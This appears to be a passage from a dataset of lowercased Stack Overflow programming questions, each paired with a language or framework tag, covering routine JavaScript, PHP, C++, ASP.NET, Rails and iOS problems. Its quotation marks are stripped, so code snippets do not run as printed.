/xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0001]                   startcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0001]                   startoffset:0                  endcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0001]                   endoffset:1                  color:  yellow              }              {                 commonancestorcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]/text()[0]                   startcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]/text()[0]                   startoffset:288                  endcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]/text()[0]                   endoffset:330                  color:  purple              }         ]); </code></pre>   <hr /> <h3>highlight.js</h3>(this uses xpath.element)   <pre><code>show: function(selections)  {         for (var i in selections)          {             var selection = selections[i];              var ancestor = $mon.xpath.element(selection[ commonancestorcontainer ]);                                         ancestor.contenteditable =  true ;              var col = selection[ color ]   selection[ color ] :  yellow ;             var range = document.createrange();              var startelement = $mon.xpath.element(selection[ startcontainer ]);                         var startoffset = selection[ startoffset ];                          var endelement = $mon.xpath.element(selection[ endcontainer ]);                         var endoffset = selection[ endoffset ];                          range.setstart(startelement  startoffset);             range.setend(endelement  endoffset);              window.getselection().removeallranges();             window.getselection().addrange(range);              document.execcommand( hilitecolor   false  col);             window.getselection().removeallranges();             ancestor.contenteditable =  false ;        }  } </code></pre>  <hr />   <b>xpath.js</b><br /> (this returns the corresponding element given the xpath  back to highlight.js)<br />   <pre><code>element: function (expr) {         var resolver = function (prefix) {             if ( xhtml  == prefix) {                 return  http://www.w3.org/1999/xhtml ;             }         }          var result = document.evaluate(expr  document  resolver  9  null).singlenodevalue;         return result;     } </code></pre>   <hr /> <b>html</b> <br />   <pre><code>&lt;body&gt;     &lt;p&gt;       1 lorem ipsum dolor sit amet  consectetur adipiscing elit. suspendisse tellus ligula  ullamcorper vitae elementum sed  rhoncus a ligula. lorem ipsum dolor sit amet  consectetur adipiscing elit. cras et pulvinar augue. proin non semper mi. nullam justo velit  vehicula eu congue vitae  tincidunt sit amet urna. aliquam blandit rutrum dignissim. donec dapibus nisl arcu  eu eleifend tellus lobortis quis. praesent quis hendrerit diam. quisque ultricies lorem et turpis aliquam ornare. phasellus dolor purus  lacinia eget porta vel  iaculis ac nisl. phasellus vestibulum faucibus erat sit amet interdum.     &lt;/p&gt;     &lt;p&gt;       2 lorem ipsum dolor sit amet  consectetur adipiscing elit. suspendisse tellus ligula  ullamcorper vitae elementum sed  rhoncus a ligula. lorem ipsum dolor sit amet  consectetur adipiscing elit. cras et pulvinar augue. proin non semper mi. nullam justo velit  vehicula eu congue vitae  tincidunt sit amet urna. aliquam blandit rutrum dignissim. donec dapibus nisl arcu  eu eleifend tellus lobortis quis. praesent quis hendrerit diam. quisque ultricies lorem et turpis aliquam ornare. phasellus dolor purus  lacinia eget porta vel  iaculis ac nisl. phasellus vestibulum faucibus erat sit amet interdum.     &lt;/p&gt;     &lt;p&gt;       3 lorem ipsum dolor sit amet  consectetur adipiscing elit. suspendisse tellus ligula  ullamcorper vitae elementum sed  rhoncus a ligula. lorem ipsum dolor sit amet  consectetur adipiscing elit. cras et pulvinar augue. proin non semper mi. nullam justo velit  vehicula eu congue vitae  tincidunt sit amet urna. aliquam blandit rutrum dignissim. donec dapibus nisl arcu  eu eleifend tellus lobortis quis. praesent quis hendrerit diam. quisque ultricies lorem et turpis aliquam ornare. phasellus dolor purus  lacinia eget porta vel  iaculis ac nisl. phasellus vestibulum faucibus erat sit amet interdum.     &lt;/p&gt;     &lt;p&gt;       4 lorem ipsum dolor sit amet  consectetur adipiscing elit. suspendisse tellus ligula  ullamcorper vitae elementum sed  rhoncus a ligula. lorem ipsum dolor sit amet  consectetur adipiscing elit. cras et pulvinar augue. proin non semper mi. nullam justo velit  vehicula eu congue vitae  tincidunt sit amet urna. aliquam blandit rutrum dignissim. donec dapibus nisl arcu  eu eleifend tellus lobortis quis. praesent quis hendrerit diam. quisque ultricies lorem et turpis aliquam ornare. phasellus dolor purus  lacinia eget porta vel  iaculis ac nisl. phasellus vestibulum faucibus erat sit amet interdum.     &lt;/p&gt;     &lt;p&gt;       5 lorem ipsum dolor sit amet  consectetur adipiscing elit. suspendisse tellus ligula  ullamcorper vitae elementum sed  rhoncus a ligula. lorem ipsum dolor sit amet  consectetur adipiscing elit. cras et pulvinar augue. proin non semper mi. nullam justo velit  vehicula eu congue vitae  tincidunt sit amet urna. aliquam blandit rutrum dignissim. donec dapibus nisl arcu  eu eleifend tellus lobortis quis. praesent quis hendrerit diam. quisque ultricies lorem et turpis aliquam ornare. phasellus dolor purus  lacinia eget porta vel  iaculis ac nisl. phasellus vestibulum faucibus erat sit amet interdum.     &lt;/p&gt;     &lt;p&gt;       6 lorem ipsum dolor sit amet  consectetur adipiscing elit. suspendisse tellus ligula  ullamcorper vitae elementum sed  rhoncus a ligula. lorem ipsum dolor sit amet  consectetur adipiscing elit. cras et pulvinar augue. proin non semper mi. nullam justo velit  vehicula eu congue vitae  tincidunt sit amet urna. aliquam blandit rutrum dignissim. donec dapibus nisl arcu  eu eleifend tellus lobortis quis. praesent quis hendrerit diam. quisque ultricies lorem et turpis aliquam ornare. phasellus dolor purus  lacinia eget porta vel  iaculis ac nisl. phasellus vestibulum faucibus erat sit amet interdum.     &lt;/p&gt;  &lt;/body&gt; </code></pre>   <hr /> <b>log on text selection  gets the selected xpath</b>   <pre><code>38:selected text: lorem 44:collapsed: false 45:ancestor container: /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]/text()[0001] 46:start container: /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]/text()[0001] 47:start offset: 7 48:end container: /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]/text()[0001] 49:end offset: 12 </code></pre>   <b>update (my problem was)</b> <br /> <br /> i had to add    <blockquote>    document.designmode =  on ;  </blockquote>   before i set the hilite color<br /> here is a link to js fiddle<br /> <a href= http://jsfiddle.net/e2bbx/11/  rel= nofollow >http://jsfiddle.net/e2bbx/11/</a>,javascript
call a function at runtime depending on user input   is it possible in .net  call a function at run time depending on   user  input      suppose i ve a function called   <pre><code>private void myfunction1() {  }  private void myfunction2(string arg1  double arg2) {   } </code></pre>   if a user write  myfunction1  in a text box ...the program will execute that function.  if yes  it works also with myfunction2 with parameter passed by user,.net
background streaming effect make other view not performing well  i am developing one application that playes audio file and video from server. for that i have used avplayer view controller. but my problem is that when the audio or video song is playing then i go to the next view in that i have song list that is comming from server  and displayed in the uitableview but tableview not scrolling well when i scroll it scroll after some times. may be because of the player.,iphone
embedded c - choice between switch/case & hashtable  i work with a home-made board  with an arm chip  in c. my code has to be fast to execute  and i also have space constraints. now  i have to code a  parser  of hexadecimal values. each hex number must be associate with a dec number (1; 2; 3 or 4). for now  and i don t think it will change much in the future  i have 100 hex values to parse. the hex values are  random   there is no particular pattern.    i started with a switch / case  like that :    <pre><code>switch (i) {    case 0xf3: case 0xf7: case 0x02:     return 1;     break;  case 0x20: case 0x40: case 0xe0: case 0xc0:     return 2;     break;  case 0x21: case 0x41: case 0x81: case 0x61: case 0xa1:     return 3;     break;   case 0xbb: case 0xcc: case 0x63:     return 4;     break;  default:     return 0;     break; } </code></pre>   but i was thinking about a hashtable instead. of course  it will be faster for the worst case  but it will take more space and is the hashtable really worth it for 100 values      thanks for your answers  if you want precisions  just ask !    antoine,c
check if php file exists on server  i m looking for a way to see if a file exists on the local server. i would usually use if function exists but in this case it s not an option. my question is how can i get number 2 to return true.    1.returns true:   <pre><code>$acf_funcs = $_server[ document_root ] .  /wp-content/themes/vac3/acf/page_meta/functions.php ; var_dump(file_exists($acf_funcs)); </code></pre>   2.returns false:   <pre><code>$acf_funcs =  http://vac3:8888/wp-content/themes/vac3/acf/page_meta/functions.php ; var_dump(file_exists($acf_funcs)); </code></pre>,php
how can i pass a parameter into a view in ios  <pre><code>uiviewcontroller *thecontroller = [[helpviewcontroller alloc] initwithnibname:@ helpview  bundle:nil]; [self.navigationcontroller presentmodalviewcontroller:thecontroller animated:true]; </code></pre>   here s my code for showing my view. i know i can use app delegate variables  but it would be neater is i could pass a parameter in somehow  ideally using an enum. is this possible,iphone
what is the difference between these two html meta tags   first:   <pre><code>&lt;meta http-equiv= refresh  content= 0  url= http://www.google.com /&gt; </code></pre>   second:   <pre><code>&lt;meta http-equiv= refresh  content= 0;url=http://www.google.com /&gt; </code></pre>   the first one seems more sane  but does not work  while the second one works  but seems ill formed.,html
cgrectmake in objective-c  i am using cgrectmake to produce a label and a textfield inside of a uitableviewcell. here is the code:   <pre><code>   label = [[uilabel alloc] initwithframe:cgrectmake(20  10  0  20)];    label.backgroundcolor = [uicolor redcolor];           textfield =      [[uitextfield alloc] initwithframe:cgrectmake(0  10  0  20)];    textfield.backgroundcolor = [uicolor bluecolor];    [textfield setdelegate:self]; // set the delegate to this object   [textfield addtarget:self action:@selector(textfielddidendonexit)       forcontrolevents:uicontroleventeditingdidendonexit];    [self.contentview addsubview:label]; // add label to the cell   [self.contentview addsubview:textfield]; // add textfield to cell </code></pre>   first  my understanding is the the parameters are defined as   <pre><code>  cgrectmake(x  y  width  height)  </code></pre>   what i see in the cell is a label on the left with the textfield immediately to its right. there is a small space between the two.     i would expect the x y coordinates to be relative to a 0 0 point in the upper left of the cell  with positive values going down and to the right.    i am confused by what i see.     i see that the label is located starting at the left of my cell  but it has an x value greater than the x value of the textfield. the textfield starts to the right of the label.    i don t understand why the width value for each is set to 0 (zero).    also  what makes the textfield take a position relative to the label  rather than relative to the cell coordinates.    here is a simple sketch of the cell and what i see in it (with the background colors set  i can clearly see where the cgrects are being placed):   <pre><code>0 0--------------------------------------------------------------------------------- |                                                                                   | |   ----------------    ----------------------------------------------------------------- |  |                |  |     |  |  label         |  |   textfield  |  |                |  |     |   ----------------    ----------------------------------------------------------------- |                                                                                   | ------------------------------------------------------------------------------------ </code></pre>   i also notice that the width of each label varies according to its content length. i understand this  but i don t understand why the textfield moves around  staying the same distance from the label in each case.    [edit] by the way   self  is a subclass of uitableviewcell  if i didn t make that clear.,objective-c
cache expiration event asp.net enterprise library  i wanted to know if there is any event which occurs each time a cache item is about too get expired or any event which is raised when a cache item is getting expired.i am using enterprise library in asp.net for caching.i want to store some data in my database when a cache is about to get expired instead of calling a function or invoking an event myself i was thinking of using the already managed cache library event which is being used to flush or dispose cache items.,asp.net
compare two columns from same table vise versa  i have a table(numbers) . with two columns   ( initialnumber and finalnumber)    the data is in such a way  <a href= https://i.stack.imgur.com/u5pqf.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/u5pqf.jpg  alt= enter image description here ></a>    i need a query such as if the initial number (10) as final value (20) then inital number (20) should have final value (10)  want to know all the different rows in a table. in about data i want a list of numbers that has not the same,sql
need to set 1st value as select in drop down list when the data source is table in database <pre><code>  &lt;asp:dropdownlist id= ddl_role  runat= server  datasourceid= sql_role                   datatextfield= role_name  datavaluefield= role_id &gt;             &lt;/asp:dropdownlist&gt;             &lt;asp:sqldatasource id= sql_role  runat= server                   connectionstring= &lt;%$ connectionstrings:mytime_role %&gt;                   selectcommand= select * from [role_alert] &gt;&lt;/asp:sqldatasource&gt;             &lt;asp:requiredfieldvalidator id= rfv_role  runat= server  controltovalidate= ddl_role                  display= dynamic  errormessage= *role is required field  font-italic= true  forecolor= red                  initialvalue= 0 &gt;&lt;/asp:requiredfieldvalidator&gt; </code></pre>   it gives only the starting  text in database table as first value in drop down list .so i need select as default one then the remaining list as usual,asp.net
ng-show is not working with ng-repeat  below is my table markup    <pre><code>&lt;tr ng-show= paginate({{$index+1}})  ng-repeat= x in productinfo_pager | orderby :sorttype:sortreverse | filter:searchtext | limitto : rowperpage  ng-class= $even  table-danger : table-info  &gt;                     &lt;td&gt;{{$index+1}}&lt;/td&gt;                     &lt;td&gt;{{x.product}}&lt;/td&gt;                     &lt;td&gt;{{x.location}}&lt;/td&gt;                     &lt;td&gt;{{x.qty}}&lt;/td&gt;                     &lt;td&gt;{{x.unitprice | currency :  &amp;#x20b9; :2}}&lt;/td&gt;                     &lt;td class= text-center &gt;                         &lt;i class= fa fa-flag  aria-hidden= true  style= color:red  /&gt;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;                         &lt;i class= fa fa-bolt  aria-hidden= true  style= color:red  /&gt;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;                         &lt;i class= fa fa-users  aria-hidden= true &gt;&lt;/i&gt;                     &lt;/td&gt;                 &lt;/tr&gt; </code></pre>   and pager below it    <pre><code>&lt;ul class= pagination &gt;             &lt;li class= page-item  ng-repeat= x in getnumber(rowperpage) track by $index &gt;                 &lt;a class= page-link  ng-click= pagerindex=$index+1 &gt;{{$index+1}}&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt; </code></pre>   and angularjs code   <pre><code>    $scope.productinfo_pager = $scope.productinfo;          $scope.sorttype =  product ; // set the default sort type         $scope.sortreverse = false; // set the default sort order         $scope.searchtext =   ; // set the default search/filter term               $scope.totalitems = $scope.productinfo.length;         $scope.currentpage = 1;         $scope.rowperpage = 5;         $scope.pagerindex = 1;          $scope.getnumber = function (num) {              var pages = $window.math.ceil($scope.totalitems / num);             return new array(pages);         }          $scope.paginate = function (rowindex) {             var begin  end  index  flag ;             index = $scope.pagerindex;             end = (index * $scope.rowperpage) - 1; // -1 to sync it with zero based index             begin = end - $scope.rowperpage + 1;             if(rowindex &gt;=begin &amp;&amp; rowindex &lt;= end ){                 flag=true;             }             else{                 flag=false;             }             var d = 0;             return flag;         }; </code></pre>   paginate function() return true or false based on logic which is used in <code>ng-show</code> in tr tag with <code>ng-repeat</code>  but its not doing show   hide functionality as expected     logic is :  suppose <code>rowperpage</code> is 5 - [5 row can be show up in table at a time]     and we click on 4 in pager so it should show row from 16-20 .    in ng-show paginate function is bind which take row index as parameter   this function check if rowindex falls in between 16 - 20   if yes than it return true (<code>ng-show=true</code>) else false and accordingly should hide that row.    as per mu understanding its two way binding so any change in ng-show should work perfectly but it does not show any effect  can someone help me why this is happening     i am a newbie in angularjs     thanks.,angularjs
iterator constructor not initializing properly  im writing a heappriorityqueue class with an interator. the problem is when the .begin() fuction calls the iterator constructer it goes into the copy assignment constructor for the base class(heappriorityqueue class). i initialized all the variables but when they pass the the iterator constructer they get lost. i dont understand why. i tried initializing them within the body but the debugger would not execute the body  which i thought was really  weird.     i have just stripepd the code down enough so others can quickly understand. the only note i want to add is in order to determin the priority i am using a gt() fucntion  or tgt in the template.    any help is appreciated  thanks   <pre><code>template&lt;class t  bool (*tgt)(const t&amp; a  const t&amp; b) = nullptr&gt; class heappriorityqueue {   public:     //destructor/constructors     ~heappriorityqueue();      heappriorityqueue          (bool (*cgt)(const t&amp; a  const t&amp; b) = nullptr);     heappriorityqueue          (const heappriorityqueue&lt;t tgt&gt;&amp; to_copy  bool (*cgt)(const t&amp; a  const t&amp; b) = nullptr);      class iterator {       public:         //private constructor called in begin/end  which are friends of heappriorityqueue&lt;t tgt&gt;         ~iterator();         t           erase();         std::string str  () const;         heappriorityqueue&lt;t tgt&gt;::iterator&amp; operator ++ ();         heappriorityqueue&lt;t tgt&gt;::iterator  operator ++ (int);           friend iterator heappriorityqueue&lt;t tgt&gt;::begin () const;         friend iterator heappriorityqueue&lt;t tgt&gt;::end   () const;        private:         //if can_erase is false  the value has been removed from  it  (++ does nothing)         heappriorityqueue&lt;t tgt&gt;  it;                 //copy of hpq (from begin)  to use as iterator via dequeue         heappriorityqueue&lt;t tgt&gt;* ref_pq= nullptr;         int                      expected_mod_count=0;         bool                     can_erase = true;          //called in friends begin/end         //these constructors have different initializers (see it(...) in first one)         iterator(heappriorityqueue&lt;t tgt&gt;* iterate_over  bool from_begin);    // called by begin         iterator(heappriorityqueue&lt;t tgt&gt;* iterate_over);                     // called by end     };       iterator begin () const;     iterator end   () const;     private:     bool (*gt) (const t&amp; a  const t&amp; b); // the gt used by enqueue (from template or constructor)     t*  pq;                              // array represents a heap  so it uses heap ordering property     int length    = 0;                   //physical length of pq array: must be &gt;= .size()     int used      = 0;                   //amount of array used:  invariant: 0 &lt;= used &lt;= length     int mod_count = 0;                   //for sensing concurrent modification   };   template&lt;class t  bool (*tgt)(const t&amp; a  const t&amp; b)&gt; heappriorityqueue&lt;t tgt&gt;::heappriorityqueue(const heappriorityqueue&lt;t tgt&gt;&amp; to_copy  bool (*cgt)(const t&amp; a  const t&amp; b)) : gt(tgt != nullptr   tgt : cgt)  length(to_copy.length) {     if (gt == nullptr)         gt = to_copy.gt;//throw templatefunctionerror( heappriorityqueue::copy constructor: neither specified );       if (tgt != nullptr &amp;&amp; cgt != nullptr &amp;&amp; tgt != cgt)         throw templatefunctionerror( heappriorityqueue::copy constructor: both specified and different );        pq = new t[length];        if (gt == to_copy.gt)         used = to_copy.used;        for (int i=0; i&lt;to_copy.used; ++i)          enqueue(to_copy.pq[i]); }  template&lt;class t  bool (*tgt)(const t&amp; a  const t&amp; b)&gt; auto heappriorityqueue&lt;t tgt&gt;::begin () const -&gt; heappriorityqueue&lt;t tgt&gt;::iterator {      return iterator(const_cast&lt;heappriorityqueue&lt;t tgt&gt;*&gt;(this) true);}  template&lt;class t  bool (*tgt)(const t&amp; a  const t&amp; b)&gt; heappriorityqueue&lt;t tgt&gt;::iterator::iterator(heappriorityqueue&lt;t tgt&gt;* iterate_over  bool tgt_nullptr): it(*ref_pq) ref_pq(iterate_over) expected_mod_count(ref_pq-&gt;mod_count){} </code></pre>,c++
python expression with or statement  i see the below statement in the github link and would like to how this condition is executed. the right expression to the or checks for a condition but the left side is more of a assigment statement.    <a href= https://github.com/wkentaro/labelme/blob/30a29a4a9c1f355cdbd69e65a0f3aad6948f458d/labelme/canvas.py#l464  rel= nofollow noreferrer >https://github.com/wkentaro/labelme/blob/30a29a4a9c1f355cdbd69e65a0f3aad6948f458d/labelme/canvas.py#l464</a>   <pre><code>shape.fill = shape.selected or shape == self.hshape </code></pre>,python
how to reduce load time of image in javascript  i am loading image on button click next and previous  here i have only 2 div which are animating on click of next and previous button with different images coming from database through <code>json</code>.    i am getting my functionality done but it looking fine only on localhost when i am uploading this on server it gets a blank screen between the animation due to image loading actually what happens my div has completed animation and showing next div but image are loaded properly so a blank div is shown     i want to reduce this load time or my screen will show when the image has been loaded completely how can i fix it         basically i want a ajax loader which will automatically get remove after loading <strong>here is my code</strong>   <pre><code>&lt;table cellpadding= 0  cellspacing= 0  border= 0  width= 815  align= center &gt;     &lt;tr&gt;         &lt;td&gt;&lt;div class= btnprv2  id= btnprv2 &gt;&amp;lt;&lt;/div&gt;&lt;/td&gt;                      &lt;td&gt;             &lt;div class= slider &gt;                 &lt;div class= mc3  id= mc3  &gt;&lt;img src=   class= ff3  /&gt;&lt;/div&gt;                 &lt;div class= mc4  id= mc4  &gt;&lt;img src=   class= ff4  /&gt;&lt;/div&gt;             &lt;/div&gt;         &lt;/td&gt;                      &lt;td&gt;&lt;div class= btnnxt2  id= btnnxt2 &gt;&amp;gt;&lt;/div&gt;&lt;/td&gt;                  &lt;/tr&gt; &lt;/table&gt;  &lt;script&gt;     $(function(){        $( .mc3 ).animate({left: -=782px  } 350);       $( .mc4 ).animate({left: -=782px  } 350  function(){ curwdiv = hdiv; cananim = true});     }); &lt;/script&gt; </code></pre>,javascript
bulleted list having links of pdf file  what coding i have to write if i want to show some links of .pdf files in a bulleted list and when i click over any link   it will open that pdf file,html
jquery append div with if condition  i have this append statement   <pre><code>$( #questions ).append($( &lt;tr&gt;&lt;td&gt;  + if(value.na == true) { +  &lt;input type= checkbox  id=   + value.question_id +  -na  class= na  /&gt;   + } +  &lt;/td&gt; ); </code></pre>   i am trying to add a condition to the append  but i get this error:   <pre><code>uncaught syntaxerror: unexpected token if </code></pre>   i am assuming this if is illegal  what would be the best way to accomplish what i am trying to accomplish,jquery
having trouble understanding why my js isnt working  nothing is happening for me when i run this code.   <pre><code>var myarray = [2 2 2];  for ( var i = 0 ; i &lt; myarray.length ; i++ ) {   total = total + myarray[i]; } alert( the total is   + total); </code></pre>,javascript
inherited friendship  now before you guys start raging  here me out. yes  i recognize that it is actually intended for friendship to not be inherited  i m just trying to find some way to get something similar to it. here is my situation (no real code  just theory). i m working on a simple abstract game engine framework  and at first  i was just going to do the straightforward object oriented/ inheritance approach of breaking object types down. now  it sounded really nice on paper  taking entities and breaking them into subcategories of physics  animated  and unmoving scenary and all it s subcategories. this however  became a hazardous  difficult to work with mess of entirely different objects and quite a bit of dangerous casting that could easily cause problems should i miss on something i needed to enforce instead of the compiler  which is always a good sign that there is a better solution.    so  i propose a different method of abstractly representing objects. i wish for there to be one entity class that all entities derive from which contain a vector  or some other dynamically growable array that works best  that will contain objects i d call behaviors. the behaviors would be updated after a specified amount of time  which will affect the members of the object specified.  here are some examples.   <pre><code>class force : behavior;                /*this would be a force  added to the behavior list and apply a constant  acceleration vector to the object until removed from the behavior list. (or it s lifetime is exhausted) */  class attackthought : behavior;   /* for an ai  this would change how it reacts to a scenario by replacing or even adding actions that it should perform given the change in position or environment at update.*/  class animation : behavior; /* you could create an animation  specify the animation that it is to perform   add it to the behavior list  and during the time update  it will adjust the  vertex buffer accordingly  removing itself from the list when the animation is done */  </code></pre>   the problem is  i want to derive from a base behavior class  that implements some of it s virtual functions in different ways that will mostly change private members of the entity objects  (such as an objects vertex buffer). i don t want to have to manipulate too much of the basic entity code so that it can  (for the most part)  be treated similarly to other objects  i only want their behaviors to be entirely manipulable/derivable. can anyone think of a way to make this system work in c++  cause i think it might be really cool :p.    btw  by way of friendship  i mean the base class behavior friending some derived entity class which can effect it s private members. for example  let s say i have a model class that derives from entity  and i want to friend a derived class of behavior called animation  and then later derive a class from model to a more specific type of object for some reason  how can an animation object manipulate the private members of this new model deriving object.    or can it  opinions on how viable this approach might be are also welcome  (as long as they actually contain critcism).,c++
how to capture connection information in binary log file in mysql 5.1.51  i am using mysql server 5.1.51 and want to enable binary logging. but except the information like server id time of execution sql statement that fired etc. is it possible to log the connection details including place and/or ip  from which the query was fired on the server. so that it can be identified who and from where modified the data either by connecting with application  direct access to the server or by remote access to the server.,mysql
date difference between two dates (changing from minutes to hours etc.)  i am trying to make a website for a server  where there is coded so it updated a database everytime someone leaves the server  let s say i left the server at 13.03.14 15:50 and that updates to the database  and i want to print that to the website  just instead of saying last seen: 13.03.14 15:50  it will say:    last seen: 1 minute ago    until it s been 1 hour then it s:    last seen: 1 hour ago    i think you know what i mean  so i want that and all the way until:    last seen: over a year ago    someone think they can help     thanks! :),php
php - adding new  key-value  to associative array  i m trying almost everything to add a new key and its value to a result query.   <pre><code>    $consulta =  select p.id_empleado count(p.id_empleado) as pendientes e.nombre e.apellidos from partidas_empleados p  ;     $consulta.=  inner join empleados e on p.id_empleado=e.id_empleado  ;     $consulta.=  where abierta=true group by id_empleado ;      $sql = $con-&gt;prepare($consulta);     $ok = $sql-&gt;execute();     $query = $sql-&gt;fetchall(pdo::fetch_assoc);      for($i=0;$i&lt;count($query);$i++){         //echo  hola ;         $fila = $query[$i];         $consulta =  select id_partida from partidas_empleados where id_empleado=   ;         $sql = $con-&gt;prepare($consulta);         $ok = $sql-&gt;execute(array($fila[ id_empleado ]));         $sub_query = $sql-&gt;fetchall(pdo::fetch_assoc);         //echo $sub_query;         //$fila[]= array( lista_partidas =&gt;$sub_query);         $fila[ lista_partidas ]= $sub_query;     } </code></pre>   <code>$sub_query</code> is just a list of asociative arrays    i m trying to add <code>$sub_query</code> to <code>$query</code> with <code>lista_partidas</code> as a key.,php
using of messagebox class in asp.net  i am using messagebox class in asp.net with c# by imposing the namespace     using system.windows.forms  i have the following code:   <pre><code>/* method for displaying the message box */ public void msgbox() {     string message =  do you want to modify the rate list  ;     string caption =   ;     messageboxbuttons buttons = messageboxbuttons.yesnocancel;     dialogresult result;     result = messagebox.show(message  caption  buttons);     if (result == dialogresult.yes) {         response.redirect( paperratelist.aspx );     } }  /*calling of the above method in the following event */ protected void save_click(object sender  eventargs e) {     companymaster_insert();     ratelist_save();     msgbox();  /*method*/   } </code></pre>   now the problem is that the message box is appearing behind the form in minimized mode.and the form can be closed before closing the message bos.i want this messagebox on the form and i want to close the form after closing the message box.,asp.net
rails: users can visit edit view urls of other users  users can edit their profile at <code>mydomain.com/users/3/edit</code>.  but they can also visit <code>mydomain.com/users/7/edit</code> (or any other id).    it doesn t actually affect the data at all  since i m just using current_user but i d like to change the path to mydomain.com/profile/edit. currently just using:   <pre><code>  resources :users </code></pre>   how would i alter this  is it as simple as just adding below line  or is there a cleaner way of doing it    <pre><code>get  profile/edit   to:  users#edit  </code></pre>,ruby-on-rails
how to fill the part of the imageview with another color  i am developing an application in which i am using one <code>uiimageview</code> and adding one rectangle image to that <code>uiimageview</code>. i am getting some float value from another calculation like 67.4 and i need to place one green image on the 67.4 part of rectangle <code>uiimageview</code>. so please tell me how can i fill that green image onto that <code>uiimageview</code>,iphone
typeerror: can t multiply sequence by non-int of type  str  <pre><code>&gt;&gt;&gt;  enter muzzle velocity (m/2): 60 enter angle (degrees): 45 traceback (most recent call last):   file  f:/python31/lib/idlelib/test   line 9  in &lt;module&gt;     range()   file  f:/python31/lib/idlelib/test   line 7  in range     distance = float(decimal((2*(x*x))((decimal(math.zsin(y)))*(decimal(math.acos(y)))))/2) typeerror: can t multiply sequence by non-int of type  str  </code></pre>   i m only new  so don t be too harsh if this is really obvious  but why am i getting this error,python
styling lists with natural behaviour  i want to style a css list like this   <pre><code>[ 1 ][ 2 ] [ 3 ][ 4 ] [ 5 ][ 6 ] </code></pre>   which is basically no problem when using float:left but there is a problem  when [ 4 ] is heiger than 3 the following happens:   <pre><code>[ 1 ][ 2 ] [ 3 ][ 4 ]      [   ] [ 5 ][ 6 ] </code></pre>   but i want to behave it like this:   <pre><code>[ 1 ][ 2 ] [ 3 ][ 4 ] [ 5 ][   ] [ 7 ][ 6 ] </code></pre>   please take a look at the problem: <a href= http://xbox360livegold.nl/gastenboek  rel= nofollow >http://xbox360livegold.nl/gastenboek</a>,css
rails - dynamic select - collection select  i ve been trying to get some dynamic select functionality working  but despite many different tutorial i ve yet to get it to work. for ease of reading  i ve brought the code examples down to basics. any advise would be greatly appreciated.    on the faults page  i need to assign a company and contact to the fault  but i only want to be able to see the contacts associated with the selected company   <pre><code>fault - belongs_to :company  :user  :contact user - has_many :faults contacts - has_and_belongs_to_many :companies company - has_and_belongs_to_many :contacts  has_many :faults </code></pre>   /faults/_form.html.erb   <pre><code>&lt;%= f.label :company   company:  %&gt;  &lt;%= collection_select(:fault :company_id @companies :id :full_name  :prompt =&gt;  please select a company ) %&gt;&lt;/br&gt;  &lt;%= f.label :contact   contact:  %&gt;  &lt;%= f.collection_select :contact_id  @contacts  :id  :name  :prompt =&gt;  select a contact  %&gt;  &lt;%= link_to  add new contact   {:controller =&gt;  companies   :action =&gt;  index }  :confirm =&gt;  to add a contact for a company you need to do this from the companies page.  %&gt;&lt;/br&gt; </code></pre>,ruby-on-rails
resolveclienturl works differently in asp.net 4 and 3.5  [apologies if my question title does not accurately describe my problem- if you can think of a better title and have the permissions to change this then  please feel free to change it!].    i think that i have stumbled upon a minor breaking change between asp.net 3.5 and 4.0.    [edit: i have confirmed that there is a change in behaviour twix 3.5 and 4.0 - see my answer]    here is the scenario: -    i have a asp.net 3.5 web application. i have a trivial user control {approot}/controls/widgets/mypictureandtextwidget.ascx that essentially contains some text and another user control ({approot}/controls/widgets/mypicture.ascx).    for the most part  this control is used in the normal fashion - i.e. including it in the mark up of other pages but i have one instance where i need to obtain the html to render on the client using ajax.      the way i achieved this was to write an asmx web service that programmatically created a new page and dynamically `loadcontrol  the user controls and then captured the output from the rendering of the page in a string builder - particulary inelegant but it worked!  see bottom for the source.      however  after upgrading the project to asp.net 4.0  the above code no longer works as it used to; the image  when rendered has <code>src= ../images/xxx.png</code> (note the  ../  which is not wanted).    i have created a little demo app <a href= http://cid-916198839f3e806c.office.live.com/self.aspx/public/testingimagewtf.zip  rel= nofollow >http://cid-916198839f3e806c.office.live.com/self.aspx/public/testingimagewtf.zip</a>  if you want to run it for yourselves.  when you compile the app using 3.5  it works (i.e. you see 2 pictures of a spider on the test page) but when you compile and run under 4.0  you only see 1 spider (the other image has the wrong url).    the only explanation that i can come up with is that the <code>resolveclienturl</code> method (which the image control will use in order to work out what is the relative path to the image from the currently executing page) is behaving differently.  the fact that the image url is coming out as  ../images/xxx.png  means that the image control  thinks  it is executing in a page that has a path like  {approot}/folder/handler  when running under 4.0 but it thinks  it is running in a context  {approot}/handler  under 3.5.    i hope this is making sense to you - sorry if i am not describing the problem very clearly or concisely.    can anyone either tell us how: -   <ul> <li> to restore the 3.5 behaviour (without reverting to the 3.5 framework obviously!) </li> <li> or a better way of generating the html in the web service in the first place    </li> </ul>  <h1>the source</h1>   a full test application can be downloaded from here <a href= http://cid-916198839f3e806c.office.live.com/self.aspx/public/testingimagewtf.zip  rel= nofollow >http://cid-916198839f3e806c.office.live.com/self.aspx/public/testingimagewtf.zip</a>    <h2>web service</h2>  <pre><code>    [webmethod]     [scriptmethod]     public string getwidgethtml(int number)     {         var pageholder = new page                              {                                          //apprelativevirtualpath =  ~/  // i tried playing with this but it made no difference!                              };         for (int i = 0; i &lt; number; i++)         {             var viewcontrol = (mypictureandtextwidget) pageholder.loadcontrol(@ ~/controls/widgets/mypictureandtextwidget.ascx );             pageholder.controls.add(viewcontrol);         }          var output = new stringwriter();          httpcontext.current.server.execute(pageholder  output  false);          stringbuilder sb = output.getstringbuilder();         string fulloutput = sb.tostring();         return fulloutput;     } </code></pre>   here are the contents of my user controls   <h2>controls/widgets/mypictureandtextwidget.ascx</h2>  <pre><code>    &lt;%@ control language= c#  autoeventwireup= true 